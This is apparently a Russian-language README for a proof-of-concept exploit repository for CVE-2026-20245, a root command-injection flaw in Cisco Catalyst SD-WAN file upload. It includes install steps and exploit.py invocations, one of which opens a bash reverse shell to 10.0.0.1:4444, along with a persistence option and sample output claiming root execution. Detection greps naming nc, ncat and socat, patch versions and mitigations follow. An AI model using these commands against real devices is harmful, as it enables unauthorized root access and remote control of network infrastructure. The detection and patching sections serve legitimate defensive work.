**Этот код ТОЛЬКО для образовательных целей и авторизованных тестов на безопасность.**
Этот код предназначен ТОЛЬКО для образовательных целей и авторизованных тестов безопасности.
CVE-2026-20245 — это уязвимость повышения привилегий в CLI Cisco Catalyst SD-WAN Controller (vSmart), Cisco Catalyst SD-WAN Manager (vManage) и Cisco Catalyst SD-WAN Validator (vBond). Аутентифицированный злоумышленник с привилегиями netadmin может выполнять произвольные команды от имени root с помощью загрузки специально созданного файла.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-20245 |
| CVSS | 7.8 (High) |
| Вектор | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Компонент | CLI / CSV Upload |
| Тип | Внедрение команд (CWE-116) |
| Продукт | Уязвимые версии |
|---|---|
| Cisco Catalyst SD-WAN Manager | < 20.18.3.1 |
| Cisco Catalyst SD-WAN Controller (vSmart) | < 20.18.3.1 |
| Cisco Catalyst SD-WAN Validator (vBond) | < 20.18.3.1 |
# Клонировать репозиторий
git clone https://github.com/username/CVE-2026-20245-PoC
cd CVE-2026-20245-PoC
# Установить зависимости
pip install -r requirements.txt
# Дать права
chmod +x exploit.py
requests>=2.31.0
python3 exploit.py -t 192.168.1.1 -u netadmin -p password --check-only
python3 exploit.py -t 192.168.1.1 -u netadmin -p password -c "id"
python3 exploit.py -t 192.168.1.1 -u netadmin -p password -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 exploit.py -t 192.168.1.1 -u netadmin -p password -c "whoami" --persist
╔═══════════════════════════════════════════════════════════════════╗
║ CVE-2026-20245 - Cisco SD-WAN Privilege Escalation Exploit ║
║ Command Injection via Crafted File Upload ║
║ CVSS: 7.8 (High) | CISA KEV: 2026-06-09 ║
╚═══════════════════════════════════════════════════════════════════╝
[*] Authenticating to 192.168.1.1...
[+] Authentication successful
[+] XSRF Token obtained
[*] Attempting to execute: id
[*] Trying endpoint: /system/device/upload
[*] Uploading malicious file...
[+] File uploaded successfully
[*] Triggering command injection...
[+] Trigger response: 200
[+] Command injection successful via /system/device/upload
============================================================
[✓] EXPLOIT SUCCESSFUL
[✓] Command executed as root
[!] System is VULNERABLE - Apply Cisco patch immediately
============================================================
# Поиск подозрительной активности
grep -E "\.csv|malicious|upload_serial" /var/log/scripts.log
# Конкретные команды для поиска
Apr 15 09:44:57 vmanage vScript: /usr/bin/vconfd_script_upload_tenant_list.sh -cli path /home/admin/malicious.csv
/home/admin/*.csv (неавторизованные CSV-файлы)/tmp/*.csv/var/log/scripts.log с необычными записями# Поиск необычных процессов root
ps aux | grep -E "bash|sh|nc|ncat|socat"
| Версия | Исправленный релиз |
|---|---|
| 20.18.2.1 и ранее | 20.18.3.1 |
# Отключить загрузку серийных номеров, если она не требуется
no feature upload-serial-numbers
# Ограничить привилегии netadmin
admin privilege restrict
| Дата | Событие |
|---|---|
| 2026-05-14 | Cisco публикует первоначальное уведомление |
| 2026-06-04 | CVE официально опубликован |
| 2026-06-09 | CISA добавляет в KEV |
| 2026-06-23 | Крайний срок CISA для установки исправления |
Данное программное обеспечение предоставляется «как есть», без каких-либо гарантий. Автор не несёт ответственности за неправомерное использование. Используйте только на авторизованных системах.